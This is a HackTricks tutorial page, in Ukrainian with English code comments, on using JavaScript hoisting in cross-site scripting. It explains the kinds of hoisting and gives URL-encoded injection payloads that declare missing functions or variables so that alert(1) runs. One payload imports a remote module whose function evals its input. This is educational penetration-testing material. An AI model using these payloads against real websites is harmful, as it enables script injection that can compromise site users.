JS Hoisting

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

У мові JavaScript існує механізм, відомий як Підняття, де оголошення змінних, функцій, класів або імпортів концептуально піднімаються до верху свого обсягу перед виконанням коду. Цей процес автоматично виконується движком JavaScript, який проходить скрипт у кілька проходів.

Під час першого проходу движок аналізує код для перевірки синтаксичних помилок та перетворює його в абстрактне синтаксичне дерево. Ця фаза включає підняття, процес, під час якого певні оголошення переміщуються до верху контексту виконання. Якщо фаза аналізу пройшла успішно, що вказує на відсутність синтаксичних помилок, виконання скрипту продовжується.

Важливо розуміти, що:

  1. Для виконання скрипту він повинен бути вільним від синтаксичних помилок. Правила синтаксису повинні дотримуватися строго.

  2. Розташування коду у скрипті впливає на виконання через підняття, хоча виконаний код може відрізнятися від його текстового представлення.

Типи підняття

Згідно з інформацією з MDN, у JavaScript існують чотири різновиди підняття:

  1. Підняття значення: Дозволяє використовувати значення змінної у межах її обсягу перед лінією оголошення.

  2. Підняття оголошення: Дозволяє посилатися на змінну у межах її обсягу перед оголошенням без виклику ReferenceError, але значення змінної буде undefined.

  3. Цей тип змінює поведінку у межах свого обсягу через оголошення змінної перед фактичною лінією оголошення.

  4. Побічні ефекти оголошення відбуваються перед тим, як решта коду, що його містить, буде оцінена.

Детально, оголошення функцій виявляють поведінку підняття типу 1. Ключове слово var демонструє поведінку типу 2. Лексичні оголошення, які включають let, const та class, показують поведінку типу 3. Нарешті, імпортовані заявки унікальні тим, що вони піднімаються з поведінкою типу 1 та типу 4.

Сценарії

Отже, якщо у вас є сценарії, де ви можете Впровадити JS-код після використання невизначеного об'єкту, ви можете виправити синтаксис, оголосивши його (так що ваш код виконається, а не викине помилку):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Додаткові сценарії

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated